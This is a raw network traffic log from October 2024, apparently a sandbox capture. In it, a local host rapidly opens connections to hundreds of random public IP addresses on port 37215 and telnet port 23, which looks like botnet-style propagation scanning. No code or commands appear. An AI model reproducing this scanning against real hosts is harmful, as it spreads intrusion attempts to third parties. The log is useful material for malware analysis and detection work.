Oct 8, 2024 20:34:44.986957073 CEST	48169	37215	192.168.2.14	156.37.27.102
Oct 8, 2024 20:34:44.986974955 CEST	48169	37215	192.168.2.14	156.124.12.165
Oct 8, 2024 20:34:44.986974955 CEST	48169	37215	192.168.2.14	156.148.78.218
Oct 8, 2024 20:34:44.986984015 CEST	48169	37215	192.168.2.14	156.42.186.55
Oct 8, 2024 20:34:44.986984968 CEST	48169	37215	192.168.2.14	41.157.238.53
Oct 8, 2024 20:34:44.986984968 CEST	48169	37215	192.168.2.14	41.166.161.165
Oct 8, 2024 20:34:44.986993074 CEST	48169	37215	192.168.2.14	197.5.118.13
Oct 8, 2024 20:34:44.986999989 CEST	48169	37215	192.168.2.14	197.140.225.115
Oct 8, 2024 20:34:44.987000942 CEST	48169	37215	192.168.2.14	41.243.8.43
Oct 8, 2024 20:34:44.986999989 CEST	48169	37215	192.168.2.14	41.31.148.128
Oct 8, 2024 20:34:44.987000942 CEST	48169	37215	192.168.2.14	41.77.200.198
Oct 8, 2024 20:34:44.987010956 CEST	48169	37215	192.168.2.14	156.205.74.89
Oct 8, 2024 20:34:44.987010956 CEST	48169	37215	192.168.2.14	41.76.38.164
Oct 8, 2024 20:34:44.987024069 CEST	48169	37215	192.168.2.14	41.38.138.130
Oct 8, 2024 20:34:44.987041950 CEST	48169	37215	192.168.2.14	197.229.145.249
Oct 8, 2024 20:34:44.987046003 CEST	43702	23	192.168.2.14	167.152.163.124
Oct 8, 2024 20:34:44.987046003 CEST	48169	37215	192.168.2.14	197.76.234.250
Oct 8, 2024 20:34:44.987046003 CEST	48169	37215	192.168.2.14	156.33.252.121
Oct 8, 2024 20:34:44.987056017 CEST	48169	37215	192.168.2.14	156.63.144.25
Oct 8, 2024 20:34:44.987056017 CEST	48169	37215	192.168.2.14	41.128.31.119
Oct 8, 2024 20:34:44.987061024 CEST	48169	37215	192.168.2.14	156.23.14.75
Oct 8, 2024 20:34:44.987063885 CEST	48169	37215	192.168.2.14	156.172.170.128
Oct 8, 2024 20:34:44.987063885 CEST	48169	37215	192.168.2.14	197.30.171.255
Oct 8, 2024 20:34:44.987068892 CEST	48169	37215	192.168.2.14	197.233.120.235
Oct 8, 2024 20:34:44.987071037 CEST	48169	37215	192.168.2.14	156.125.220.18
Oct 8, 2024 20:34:44.987076044 CEST	48169	37215	192.168.2.14	41.103.191.47
Oct 8, 2024 20:34:44.987086058 CEST	48169	37215	192.168.2.14	197.43.20.86
Oct 8, 2024 20:34:44.987091064 CEST	48169	37215	192.168.2.14	197.126.220.196
Oct 8, 2024 20:34:44.987109900 CEST	48169	37215	192.168.2.14	41.28.180.42
Oct 8, 2024 20:34:44.987111092 CEST	48169	37215	192.168.2.14	156.143.75.200
Oct 8, 2024 20:34:44.987111092 CEST	48169	37215	192.168.2.14	156.142.192.58
Oct 8, 2024 20:34:44.987114906 CEST	48169	37215	192.168.2.14	197.95.106.184
Oct 8, 2024 20:34:44.987117052 CEST	48169	37215	192.168.2.14	197.245.162.88
Oct 8, 2024 20:34:44.987123966 CEST	48169	37215	192.168.2.14	197.103.68.146
Oct 8, 2024 20:34:44.987143993 CEST	48169	37215	192.168.2.14	41.241.176.252
Oct 8, 2024 20:34:44.987143040 CEST	48169	37215	192.168.2.14	156.241.132.14
Oct 8, 2024 20:34:44.987149954 CEST	48169	37215	192.168.2.14	197.37.133.126
Oct 8, 2024 20:34:44.987149954 CEST	48169	37215	192.168.2.14	41.72.67.207
Oct 8, 2024 20:34:44.987149954 CEST	48169	37215	192.168.2.14	156.126.127.21
Oct 8, 2024 20:34:44.987152100 CEST	48169	37215	192.168.2.14	156.126.17.131
Oct 8, 2024 20:34:44.987152100 CEST	48169	37215	192.168.2.14	197.95.26.208
Oct 8, 2024 20:34:44.987153053 CEST	48169	37215	192.168.2.14	41.197.255.5
Oct 8, 2024 20:34:44.987153053 CEST	48169	37215	192.168.2.14	41.35.177.61
Oct 8, 2024 20:34:44.987171888 CEST	48169	37215	192.168.2.14	197.164.57.115
Oct 8, 2024 20:34:44.987171888 CEST	48169	37215	192.168.2.14	156.9.182.22
Oct 8, 2024 20:34:44.987201929 CEST	48169	37215	192.168.2.14	41.239.214.46
Oct 8, 2024 20:34:44.987201929 CEST	48169	37215	192.168.2.14	41.121.246.9
Oct 8, 2024 20:34:44.987206936 CEST	48169	37215	192.168.2.14	156.252.11.78
Oct 8, 2024 20:34:44.987210035 CEST	48169	37215	192.168.2.14	156.68.55.231
Oct 8, 2024 20:34:44.987210035 CEST	48169	37215	192.168.2.14	197.98.5.195
Oct 8, 2024 20:34:44.987224102 CEST	48169	37215	192.168.2.14	197.240.175.247
Oct 8, 2024 20:34:44.987226009 CEST	48169	37215	192.168.2.14	41.98.56.147
Oct 8, 2024 20:34:44.987226963 CEST	48169	37215	192.168.2.14	41.109.102.225
Oct 8, 2024 20:34:44.987226963 CEST	48169	37215	192.168.2.14	197.135.174.245
Oct 8, 2024 20:34:44.987237930 CEST	48169	37215	192.168.2.14	197.182.12.20
Oct 8, 2024 20:34:44.987250090 CEST	48169	37215	192.168.2.14	41.162.12.33
Oct 8, 2024 20:34:44.987253904 CEST	48169	37215	192.168.2.14	197.239.148.49
Oct 8, 2024 20:34:44.987263918 CEST	48169	37215	192.168.2.14	156.243.153.210
Oct 8, 2024 20:34:44.987265110 CEST	48169	37215	192.168.2.14	156.145.44.42
Oct 8, 2024 20:34:44.987265110 CEST	48169	37215	192.168.2.14	197.111.155.193
Oct 8, 2024 20:34:44.987273932 CEST	48169	37215	192.168.2.14	197.35.145.63
Oct 8, 2024 20:34:44.987276077 CEST	48169	37215	192.168.2.14	41.126.50.229
Oct 8, 2024 20:34:44.987284899 CEST	48169	37215	192.168.2.14	156.98.240.127
Oct 8, 2024 20:34:44.987289906 CEST	48169	37215	192.168.2.14	197.187.203.95
Oct 8, 2024 20:34:44.987289906 CEST	48169	37215	192.168.2.14	41.65.39.60
Oct 8, 2024 20:34:44.987297058 CEST	48169	37215	192.168.2.14	197.150.211.123
Oct 8, 2024 20:34:44.987297058 CEST	48169	37215	192.168.2.14	41.59.148.141
Oct 8, 2024 20:34:44.987298965 CEST	48169	37215	192.168.2.14	41.114.93.239
Oct 8, 2024 20:34:44.987298965 CEST	48169	37215	192.168.2.14	41.50.176.102
Oct 8, 2024 20:34:44.987299919 CEST	48169	37215	192.168.2.14	156.37.10.222
Oct 8, 2024 20:34:44.987299919 CEST	48169	37215	192.168.2.14	156.152.154.113
Oct 8, 2024 20:34:44.987303972 CEST	48169	37215	192.168.2.14	41.162.31.214
Oct 8, 2024 20:34:44.987312078 CEST	48169	37215	192.168.2.14	156.88.246.36
Oct 8, 2024 20:34:44.987318039 CEST	48169	37215	192.168.2.14	197.130.58.58
Oct 8, 2024 20:34:44.987318039 CEST	48169	37215	192.168.2.14	197.70.230.27
Oct 8, 2024 20:34:44.987330914 CEST	48169	37215	192.168.2.14	156.238.212.4
Oct 8, 2024 20:34:44.987330914 CEST	48169	37215	192.168.2.14	156.140.197.98
Oct 8, 2024 20:34:44.987353086 CEST	48169	37215	192.168.2.14	197.47.109.6
Oct 8, 2024 20:34:44.987353086 CEST	48169	37215	192.168.2.14	156.175.14.231
Oct 8, 2024 20:34:44.987353086 CEST	48169	37215	192.168.2.14	156.50.226.78
Oct 8, 2024 20:34:44.987361908 CEST	48169	37215	192.168.2.14	156.150.59.95
Oct 8, 2024 20:34:44.987371922 CEST	48169	37215	192.168.2.14	41.125.31.116
Oct 8, 2024 20:34:44.987373114 CEST	48169	37215	192.168.2.14	197.220.232.80
Oct 8, 2024 20:34:44.987375021 CEST	48169	37215	192.168.2.14	197.206.207.241
Oct 8, 2024 20:34:44.987379074 CEST	48169	37215	192.168.2.14	41.110.120.152
Oct 8, 2024 20:34:44.987379074 CEST	48169	37215	192.168.2.14	41.250.235.11
Oct 8, 2024 20:34:44.987386942 CEST	48169	37215	192.168.2.14	156.221.85.135
Oct 8, 2024 20:34:44.987390995 CEST	48169	37215	192.168.2.14	156.167.162.232
Oct 8, 2024 20:34:44.987394094 CEST	48169	37215	192.168.2.14	197.172.66.108
Oct 8, 2024 20:34:44.987406015 CEST	48169	37215	192.168.2.14	197.214.248.195
Oct 8, 2024 20:34:44.987409115 CEST	48169	37215	192.168.2.14	156.249.192.141
Oct 8, 2024 20:34:44.987407923 CEST	48169	37215	192.168.2.14	156.132.114.182
Oct 8, 2024 20:34:44.987416029 CEST	48169	37215	192.168.2.14	197.242.161.238
Oct 8, 2024 20:34:44.987422943 CEST	48169	37215	192.168.2.14	197.96.94.110
Oct 8, 2024 20:34:44.987430096 CEST	48169	37215	192.168.2.14	197.104.170.146
Oct 8, 2024 20:34:44.987432003 CEST	48169	37215	192.168.2.14	197.70.178.211
Oct 8, 2024 20:34:44.987435102 CEST	48169	37215	192.168.2.14	197.67.198.95
Oct 8, 2024 20:34:44.987435102 CEST	48169	37215	192.168.2.14	41.160.220.23
Oct 8, 2024 20:34:44.987448931 CEST	48169	37215	192.168.2.14	197.61.213.15
Oct 8, 2024 20:34:44.987448931 CEST	48169	37215	192.168.2.14	197.252.139.136
Oct 8, 2024 20:34:44.987466097 CEST	48169	37215	192.168.2.14	197.119.240.213
Oct 8, 2024 20:34:44.987472057 CEST	48169	37215	192.168.2.14	156.10.139.231
Oct 8, 2024 20:34:44.987472057 CEST	48169	37215	192.168.2.14	41.207.128.139
Oct 8, 2024 20:34:44.987483978 CEST	48169	37215	192.168.2.14	197.7.66.230
Oct 8, 2024 20:34:44.987484932 CEST	48169	37215	192.168.2.14	41.79.82.159
Oct 8, 2024 20:34:44.987484932 CEST	48169	37215	192.168.2.14	197.38.96.29
Oct 8, 2024 20:34:44.987484932 CEST	48169	37215	192.168.2.14	156.106.239.156
Oct 8, 2024 20:34:44.987495899 CEST	48169	37215	192.168.2.14	197.100.205.42
Oct 8, 2024 20:34:44.987495899 CEST	48169	37215	192.168.2.14	41.19.152.175
Oct 8, 2024 20:34:44.987499952 CEST	48169	37215	192.168.2.14	156.13.102.218
Oct 8, 2024 20:34:44.987514973 CEST	48169	37215	192.168.2.14	41.185.143.111
Oct 8, 2024 20:34:44.987514973 CEST	48169	37215	192.168.2.14	197.153.176.206
Oct 8, 2024 20:34:44.987515926 CEST	48169	37215	192.168.2.14	41.108.159.163
Oct 8, 2024 20:34:44.987525940 CEST	48169	37215	192.168.2.14	41.249.195.21
Oct 8, 2024 20:34:44.987525940 CEST	48169	37215	192.168.2.14	197.145.23.237
Oct 8, 2024 20:34:44.987525940 CEST	48169	37215	192.168.2.14	41.59.125.46
Oct 8, 2024 20:34:44.987529039 CEST	48169	37215	192.168.2.14	156.191.25.63
Oct 8, 2024 20:34:44.987529039 CEST	48169	37215	192.168.2.14	197.45.163.20
Oct 8, 2024 20:34:44.987529993 CEST	48169	37215	192.168.2.14	197.221.45.21
Oct 8, 2024 20:34:44.987529993 CEST	48169	37215	192.168.2.14	41.4.208.158
Oct 8, 2024 20:34:44.987535000 CEST	48169	37215	192.168.2.14	41.5.23.116
Oct 8, 2024 20:34:44.987535954 CEST	48169	37215	192.168.2.14	41.250.111.239
Oct 8, 2024 20:34:44.987543106 CEST	48169	37215	192.168.2.14	197.190.192.6
Oct 8, 2024 20:34:44.987543106 CEST	48169	37215	192.168.2.14	41.250.246.18
Oct 8, 2024 20:34:44.987544060 CEST	48169	37215	192.168.2.14	156.235.201.5
Oct 8, 2024 20:34:44.987544060 CEST	48169	37215	192.168.2.14	156.13.168.100
Oct 8, 2024 20:34:44.987581968 CEST	48169	37215	192.168.2.14	197.74.165.227
Oct 8, 2024 20:34:44.987582922 CEST	48169	37215	192.168.2.14	197.201.78.159
Oct 8, 2024 20:34:44.987582922 CEST	48169	37215	192.168.2.14	197.104.130.43
Oct 8, 2024 20:34:44.987582922 CEST	48169	37215	192.168.2.14	156.0.135.63
Oct 8, 2024 20:34:44.987596035 CEST	48169	37215	192.168.2.14	197.58.43.92
Oct 8, 2024 20:34:44.987597942 CEST	48169	37215	192.168.2.14	41.26.40.176
Oct 8, 2024 20:34:44.987915993 CEST	23	40250	20.51.247.88	192.168.2.14
Oct 8, 2024 20:34:44.987951040 CEST	40250	23	192.168.2.14	20.51.247.88
Oct 8, 2024 20:34:44.988044977 CEST	40608	23	192.168.2.14	76.12.183.181
Oct 8, 2024 20:34:44.989181995 CEST	39898	37215	192.168.2.14	197.169.44.159
Oct 8, 2024 20:34:44.990114927 CEST	23	35108	70.201.40.80	192.168.2.14
Oct 8, 2024 20:34:44.990156889 CEST	35108	23	192.168.2.14	70.201.40.80
Oct 8, 2024 20:34:44.991163015 CEST	37048	23	192.168.2.14	185.58.65.43
Oct 8, 2024 20:34:44.991372108 CEST	23	50742	120.84.58.115	192.168.2.14
Oct 8, 2024 20:34:44.991425991 CEST	50742	23	192.168.2.14	120.84.58.115
Oct 8, 2024 20:34:44.993261099 CEST	23	36914	9.235.110.159	192.168.2.14
Oct 8, 2024 20:34:44.993271112 CEST	37215	48169	197.68.227.157	192.168.2.14
Oct 8, 2024 20:34:44.993304968 CEST	48169	37215	192.168.2.14	197.68.227.157
Oct 8, 2024 20:34:44.993319035 CEST	37215	48169	156.132.73.35	192.168.2.14
Oct 8, 2024 20:34:44.993323088 CEST	36914	23	192.168.2.14	9.235.110.159
Oct 8, 2024 20:34:44.993329048 CEST	37215	48169	156.140.46.99	192.168.2.14
Oct 8, 2024 20:34:44.993338108 CEST	37215	48169	197.253.88.6	192.168.2.14
Oct 8, 2024 20:34:44.993347883 CEST	37215	48169	41.70.45.230	192.168.2.14
Oct 8, 2024 20:34:44.993359089 CEST	37215	48169	156.17.198.244	192.168.2.14
Oct 8, 2024 20:34:44.993361950 CEST	48169	37215	192.168.2.14	156.140.46.99
Oct 8, 2024 20:34:44.993391991 CEST	37215	48169	197.204.221.104	192.168.2.14
Oct 8, 2024 20:34:44.993401051 CEST	37215	48169	156.0.47.55	192.168.2.14
Oct 8, 2024 20:34:44.993402004 CEST	48169	37215	192.168.2.14	156.132.73.35
Oct 8, 2024 20:34:44.993402004 CEST	48169	37215	192.168.2.14	197.253.88.6
Oct 8, 2024 20:34:44.993406057 CEST	48169	37215	192.168.2.14	41.70.45.230
Oct 8, 2024 20:34:44.993412018 CEST	37215	48169	41.112.26.69	192.168.2.14
Oct 8, 2024 20:34:44.993412018 CEST	48169	37215	192.168.2.14	156.17.198.244
Oct 8, 2024 20:34:44.993421078 CEST	37215	48169	197.15.49.80	192.168.2.14
Oct 8, 2024 20:34:44.993429899 CEST	48169	37215	192.168.2.14	197.204.221.104
Oct 8, 2024 20:34:44.993432999 CEST	37215	48169	41.75.229.68	192.168.2.14
Oct 8, 2024 20:34:44.993442059 CEST	37215	48169	197.231.162.60	192.168.2.14
Oct 8, 2024 20:34:44.993451118 CEST	37215	48169	197.172.190.102	192.168.2.14
Oct 8, 2024 20:34:44.993457079 CEST	48169	37215	192.168.2.14	156.0.47.55
Oct 8, 2024 20:34:44.993457079 CEST	48169	37215	192.168.2.14	41.112.26.69
Oct 8, 2024 20:34:44.993458986 CEST	37215	48169	41.52.251.173	192.168.2.14
Oct 8, 2024 20:34:44.993462086 CEST	48169	37215	192.168.2.14	41.75.229.68
Oct 8, 2024 20:34:44.993469000 CEST	37215	48169	156.41.106.28	192.168.2.14
Oct 8, 2024 20:34:44.993479013 CEST	37215	48169	41.57.214.210	192.168.2.14
Oct 8, 2024 20:34:44.993489027 CEST	37215	48169	41.131.29.243	192.168.2.14
Oct 8, 2024 20:34:44.993499041 CEST	37215	48169	197.32.252.103	192.168.2.14
Oct 8, 2024 20:34:44.993505001 CEST	48169	37215	192.168.2.14	197.172.190.102
Oct 8, 2024 20:34:44.993505001 CEST	48169	37215	192.168.2.14	41.52.251.173
Oct 8, 2024 20:34:44.993505001 CEST	48169	37215	192.168.2.14	156.41.106.28
Oct 8, 2024 20:34:44.993506908 CEST	48169	37215	192.168.2.14	197.231.162.60
Oct 8, 2024 20:34:44.993508101 CEST	37215	48169	41.8.244.14	192.168.2.14
Oct 8, 2024 20:34:44.993508101 CEST	48169	37215	192.168.2.14	41.57.214.210
Oct 8, 2024 20:34:44.993521929 CEST	37215	48169	197.18.97.14	192.168.2.14
Oct 8, 2024 20:34:44.993530035 CEST	48169	37215	192.168.2.14	197.32.252.103
Oct 8, 2024 20:34:44.993530989 CEST	37215	48169	156.26.133.119	192.168.2.14
Oct 8, 2024 20:34:44.993541002 CEST	37215	48169	156.78.133.220	192.168.2.14
Oct 8, 2024 20:34:44.993550062 CEST	37215	48169	41.231.170.181	192.168.2.14
Oct 8, 2024 20:34:44.993558884 CEST	37215	48169	197.126.211.247	192.168.2.14
Oct 8, 2024 20:34:44.993567944 CEST	37215	48169	156.202.119.78	192.168.2.14
Oct 8, 2024 20:34:44.993576050 CEST	48169	37215	192.168.2.14	197.18.97.14
Oct 8, 2024 20:34:44.993577957 CEST	48169	37215	192.168.2.14	156.78.133.220
Oct 8, 2024 20:34:44.993578911 CEST	37215	48169	41.24.137.82	192.168.2.14
Oct 8, 2024 20:34:44.993588924 CEST	37215	48169	156.77.7.169	192.168.2.14
Oct 8, 2024 20:34:44.993592024 CEST	48169	37215	192.168.2.14	156.26.133.119
Oct 8, 2024 20:34:44.993592024 CEST	48169	37215	192.168.2.14	41.231.170.181
Oct 8, 2024 20:34:44.993604898 CEST	48169	37215	192.168.2.14	197.126.211.247
Oct 8, 2024 20:34:44.993604898 CEST	48169	37215	192.168.2.14	41.24.137.82
Oct 8, 2024 20:34:44.993614912 CEST	48169	37215	192.168.2.14	156.202.119.78
Oct 8, 2024 20:34:44.993614912 CEST	48169	37215	192.168.2.14	156.77.7.169
Oct 8, 2024 20:34:44.993690968 CEST	48169	37215	192.168.2.14	197.15.49.80
Oct 8, 2024 20:34:44.993690968 CEST	48169	37215	192.168.2.14	41.131.29.243
Oct 8, 2024 20:34:44.993690968 CEST	48169	37215	192.168.2.14	41.8.244.14
Oct 8, 2024 20:34:44.993838072 CEST	37215	48169	41.238.225.59	192.168.2.14
Oct 8, 2024 20:34:44.993848085 CEST	37215	48169	41.241.174.158	192.168.2.14
Oct 8, 2024 20:34:44.993855953 CEST	37215	48169	156.123.191.40	192.168.2.14
Oct 8, 2024 20:34:44.993865967 CEST	37215	48169	197.153.204.158	192.168.2.14
Oct 8, 2024 20:34:44.993874073 CEST	37215	48169	41.58.118.96	192.168.2.14
Oct 8, 2024 20:34:44.993884087 CEST	37215	48169	197.153.39.3	192.168.2.14
Oct 8, 2024 20:34:44.993885040 CEST	48169	37215	192.168.2.14	41.238.225.59
Oct 8, 2024 20:34:44.993891001 CEST	48169	37215	192.168.2.14	41.241.174.158
Oct 8, 2024 20:34:44.993894100 CEST	37215	48169	197.144.191.97	192.168.2.14
Oct 8, 2024 20:34:44.993904114 CEST	37215	48169	197.207.241.65	192.168.2.14
Oct 8, 2024 20:34:44.993912935 CEST	37215	48169	41.36.42.133	192.168.2.14
Oct 8, 2024 20:34:44.993921041 CEST	37215	48169	41.233.118.37	192.168.2.14
Oct 8, 2024 20:34:44.993922949 CEST	48169	37215	192.168.2.14	156.123.191.40
Oct 8, 2024 20:34:44.993922949 CEST	48169	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:44.993937016 CEST	48169	37215	192.168.2.14	197.207.241.65
Oct 8, 2024 20:34:44.993937969 CEST	48169	37215	192.168.2.14	41.36.42.133
Oct 8, 2024 20:34:44.993938923 CEST	37215	48169	41.113.7.78	192.168.2.14
Oct 8, 2024 20:34:44.993948936 CEST	37215	48169	41.234.186.12	192.168.2.14
Oct 8, 2024 20:34:44.993962049 CEST	37215	48169	41.53.65.212	192.168.2.14
Oct 8, 2024 20:34:44.993966103 CEST	37215	48169	41.168.97.59	192.168.2.14
Oct 8, 2024 20:34:44.993969917 CEST	37215	48169	197.235.88.82	192.168.2.14
Oct 8, 2024 20:34:44.993974924 CEST	48169	37215	192.168.2.14	41.113.7.78
Oct 8, 2024 20:34:44.993978024 CEST	37215	48169	156.68.227.205	192.168.2.14
Oct 8, 2024 20:34:44.993983984 CEST	48169	37215	192.168.2.14	41.234.186.12
Oct 8, 2024 20:34:44.993987083 CEST	37215	48169	41.103.46.183	192.168.2.14
Oct 8, 2024 20:34:44.993989944 CEST	48169	37215	192.168.2.14	41.53.65.212
Oct 8, 2024 20:34:44.993989944 CEST	48169	37215	192.168.2.14	41.168.97.59
Oct 8, 2024 20:34:44.993990898 CEST	48169	37215	192.168.2.14	41.233.118.37
Oct 8, 2024 20:34:44.993998051 CEST	48169	37215	192.168.2.14	197.235.88.82
Oct 8, 2024 20:34:44.993999004 CEST	37215	48169	156.143.116.44	192.168.2.14
Oct 8, 2024 20:34:44.994009018 CEST	37215	48169	156.140.115.72	192.168.2.14
Oct 8, 2024 20:34:44.994010925 CEST	48169	37215	192.168.2.14	156.68.227.205
Oct 8, 2024 20:34:44.994010925 CEST	48169	37215	192.168.2.14	41.103.46.183
Oct 8, 2024 20:34:44.994018078 CEST	37215	48169	197.175.91.172	192.168.2.14
Oct 8, 2024 20:34:44.994026899 CEST	37215	48169	156.117.14.9	192.168.2.14
Oct 8, 2024 20:34:44.994029045 CEST	48169	37215	192.168.2.14	41.58.118.96
Oct 8, 2024 20:34:44.994031906 CEST	48169	37215	192.168.2.14	156.143.116.44
Oct 8, 2024 20:34:44.994036913 CEST	37215	48169	197.206.105.52	192.168.2.14
Oct 8, 2024 20:34:44.994043112 CEST	48169	37215	192.168.2.14	156.140.115.72
Oct 8, 2024 20:34:44.994046926 CEST	37215	48169	197.52.19.206	192.168.2.14
Oct 8, 2024 20:34:44.994055986 CEST	37215	48169	41.248.96.190	192.168.2.14
Oct 8, 2024 20:34:44.994064093 CEST	48169	37215	192.168.2.14	156.117.14.9
Oct 8, 2024 20:34:44.994065046 CEST	37215	48169	41.183.75.82	192.168.2.14
Oct 8, 2024 20:34:44.994071007 CEST	48169	37215	192.168.2.14	197.175.91.172
Oct 8, 2024 20:34:44.994075060 CEST	37215	48169	156.204.90.181	192.168.2.14
Oct 8, 2024 20:34:44.994076014 CEST	48169	37215	192.168.2.14	197.52.19.206
Oct 8, 2024 20:34:44.994083881 CEST	37215	48169	41.63.167.106	192.168.2.14
Oct 8, 2024 20:34:44.994115114 CEST	48169	37215	192.168.2.14	156.204.90.181
Oct 8, 2024 20:34:44.994122028 CEST	48169	37215	192.168.2.14	41.63.167.106
Oct 8, 2024 20:34:44.994149923 CEST	48169	37215	192.168.2.14	41.183.75.82
Oct 8, 2024 20:34:44.994153976 CEST	48169	37215	192.168.2.14	197.153.39.3
Oct 8, 2024 20:34:44.994153976 CEST	48169	37215	192.168.2.14	197.144.191.97
Oct 8, 2024 20:34:44.994153976 CEST	48169	37215	192.168.2.14	197.206.105.52
Oct 8, 2024 20:34:44.994153976 CEST	48169	37215	192.168.2.14	41.248.96.190
Oct 8, 2024 20:34:44.994204998 CEST	37215	48169	197.182.89.239	192.168.2.14
Oct 8, 2024 20:34:44.994214058 CEST	37215	48169	197.131.205.177	192.168.2.14
Oct 8, 2024 20:34:44.994218111 CEST	37215	48169	41.17.167.67	192.168.2.14
Oct 8, 2024 20:34:44.994267941 CEST	37215	48169	156.178.157.57	192.168.2.14
Oct 8, 2024 20:34:44.994277000 CEST	37215	48169	197.227.245.0	192.168.2.14
Oct 8, 2024 20:34:44.994277000 CEST	48169	37215	192.168.2.14	197.131.205.177
Oct 8, 2024 20:34:44.994287968 CEST	37215	48169	41.165.210.76	192.168.2.14
Oct 8, 2024 20:34:44.994297981 CEST	37215	48169	41.29.84.31	192.168.2.14
Oct 8, 2024 20:34:44.994307995 CEST	37215	48169	197.116.148.23	192.168.2.14
Oct 8, 2024 20:34:44.994309902 CEST	48169	37215	192.168.2.14	197.182.89.239
Oct 8, 2024 20:34:44.994313955 CEST	48169	37215	192.168.2.14	197.227.245.0
Oct 8, 2024 20:34:44.994313955 CEST	48169	37215	192.168.2.14	156.178.157.57
Oct 8, 2024 20:34:44.994318962 CEST	37215	48169	197.85.222.136	192.168.2.14
Oct 8, 2024 20:34:44.994328022 CEST	37215	48169	197.66.209.51	192.168.2.14
Oct 8, 2024 20:34:44.994329929 CEST	48169	37215	192.168.2.14	41.29.84.31
Oct 8, 2024 20:34:44.994332075 CEST	48169	37215	192.168.2.14	41.165.210.76
Oct 8, 2024 20:34:44.994337082 CEST	37215	48169	41.33.169.74	192.168.2.14
Oct 8, 2024 20:34:44.994344950 CEST	48169	37215	192.168.2.14	197.116.148.23
Oct 8, 2024 20:34:44.994347095 CEST	37215	48169	197.230.239.108	192.168.2.14
Oct 8, 2024 20:34:44.994364023 CEST	37215	48169	197.251.46.165	192.168.2.14
Oct 8, 2024 20:34:44.994364023 CEST	48169	37215	192.168.2.14	197.85.222.136
Oct 8, 2024 20:34:44.994373083 CEST	48169	37215	192.168.2.14	41.17.167.67
Oct 8, 2024 20:34:44.994373083 CEST	48169	37215	192.168.2.14	41.33.169.74
Oct 8, 2024 20:34:44.994374037 CEST	37215	48169	197.181.129.198	192.168.2.14
Oct 8, 2024 20:34:44.994378090 CEST	48169	37215	192.168.2.14	197.230.239.108
Oct 8, 2024 20:34:44.994385958 CEST	37215	48169	41.43.131.31	192.168.2.14
Oct 8, 2024 20:34:44.994393110 CEST	48169	37215	192.168.2.14	197.251.46.165
Oct 8, 2024 20:34:44.994395018 CEST	37215	48169	197.136.207.229	192.168.2.14
Oct 8, 2024 20:34:44.994400978 CEST	48169	37215	192.168.2.14	197.181.129.198
Oct 8, 2024 20:34:44.994405031 CEST	37215	48169	197.119.199.214	192.168.2.14
Oct 8, 2024 20:34:44.994414091 CEST	37215	48169	41.181.150.58	192.168.2.14
Oct 8, 2024 20:34:44.994416952 CEST	48169	37215	192.168.2.14	41.43.131.31
Oct 8, 2024 20:34:44.994422913 CEST	37215	48169	197.170.162.119	192.168.2.14
Oct 8, 2024 20:34:44.994425058 CEST	48169	37215	192.168.2.14	197.136.207.229
Oct 8, 2024 20:34:44.994432926 CEST	37215	48169	156.128.187.210	192.168.2.14
Oct 8, 2024 20:34:44.994442940 CEST	37215	48169	156.241.14.40	192.168.2.14
Oct 8, 2024 20:34:44.994447947 CEST	48169	37215	192.168.2.14	197.119.199.214
Oct 8, 2024 20:34:44.994452000 CEST	48169	37215	192.168.2.14	197.170.162.119
Oct 8, 2024 20:34:44.994452000 CEST	37215	48169	41.142.153.209	192.168.2.14
Oct 8, 2024 20:34:44.994462967 CEST	37215	48169	41.190.116.239	192.168.2.14
Oct 8, 2024 20:34:44.994473934 CEST	48169	37215	192.168.2.14	156.128.187.210
Oct 8, 2024 20:34:44.994482040 CEST	48169	37215	192.168.2.14	41.142.153.209
Oct 8, 2024 20:34:44.994492054 CEST	48169	37215	192.168.2.14	41.190.116.239
Oct 8, 2024 20:34:44.994493961 CEST	48169	37215	192.168.2.14	156.241.14.40
Oct 8, 2024 20:34:44.994554043 CEST	48169	37215	192.168.2.14	197.66.209.51
Oct 8, 2024 20:34:44.994554043 CEST	48169	37215	192.168.2.14	41.181.150.58
Oct 8, 2024 20:34:44.994645119 CEST	37215	48169	156.100.254.93	192.168.2.14
Oct 8, 2024 20:34:44.994656086 CEST	37215	48169	197.193.228.179	192.168.2.14
Oct 8, 2024 20:34:44.994666100 CEST	37215	48169	156.139.235.66	192.168.2.14
Oct 8, 2024 20:34:44.994692087 CEST	48169	37215	192.168.2.14	156.100.254.93
Oct 8, 2024 20:34:44.994700909 CEST	37215	48169	197.50.111.128	192.168.2.14
Oct 8, 2024 20:34:44.994710922 CEST	37215	48169	197.69.121.59	192.168.2.14
Oct 8, 2024 20:34:44.994726896 CEST	48169	37215	192.168.2.14	197.193.228.179
Oct 8, 2024 20:34:44.994726896 CEST	48169	37215	192.168.2.14	156.139.235.66
Oct 8, 2024 20:34:44.994740963 CEST	48169	37215	192.168.2.14	197.69.121.59
Oct 8, 2024 20:34:44.994740963 CEST	48169	37215	192.168.2.14	197.50.111.128
Oct 8, 2024 20:34:44.994743109 CEST	37215	48169	156.7.31.74	192.168.2.14
Oct 8, 2024 20:34:44.994752884 CEST	37215	48169	156.68.4.171	192.168.2.14
Oct 8, 2024 20:34:44.994762897 CEST	37215	48169	197.63.148.247	192.168.2.14
Oct 8, 2024 20:34:44.994772911 CEST	37215	48169	156.251.188.39	192.168.2.14
Oct 8, 2024 20:34:44.994777918 CEST	38964	23	192.168.2.14	77.144.205.213
Oct 8, 2024 20:34:44.994777918 CEST	48169	37215	192.168.2.14	156.7.31.74
Oct 8, 2024 20:34:44.994784117 CEST	37215	48169	156.233.248.247	192.168.2.14
Oct 8, 2024 20:34:44.994792938 CEST	48169	37215	192.168.2.14	197.63.148.247
Oct 8, 2024 20:34:44.994793892 CEST	37215	48169	156.113.55.27	192.168.2.14
Oct 8, 2024 20:34:44.994805098 CEST	37215	48169	41.246.194.222	192.168.2.14
Oct 8, 2024 20:34:44.994807959 CEST	48169	37215	192.168.2.14	156.68.4.171
Oct 8, 2024 20:34:44.994807959 CEST	48169	37215	192.168.2.14	156.251.188.39
Oct 8, 2024 20:34:44.994815111 CEST	37215	48169	156.246.167.115	192.168.2.14
Oct 8, 2024 20:34:44.994817972 CEST	48169	37215	192.168.2.14	156.233.248.247
Oct 8, 2024 20:34:44.994824886 CEST	37215	48169	197.49.221.177	192.168.2.14
Oct 8, 2024 20:34:44.994831085 CEST	48169	37215	192.168.2.14	156.113.55.27
Oct 8, 2024 20:34:44.994836092 CEST	37215	48169	156.232.59.181	192.168.2.14
Oct 8, 2024 20:34:44.994846106 CEST	37215	48169	197.236.126.175	192.168.2.14
Oct 8, 2024 20:34:44.994854927 CEST	37215	48169	197.164.205.165	192.168.2.14
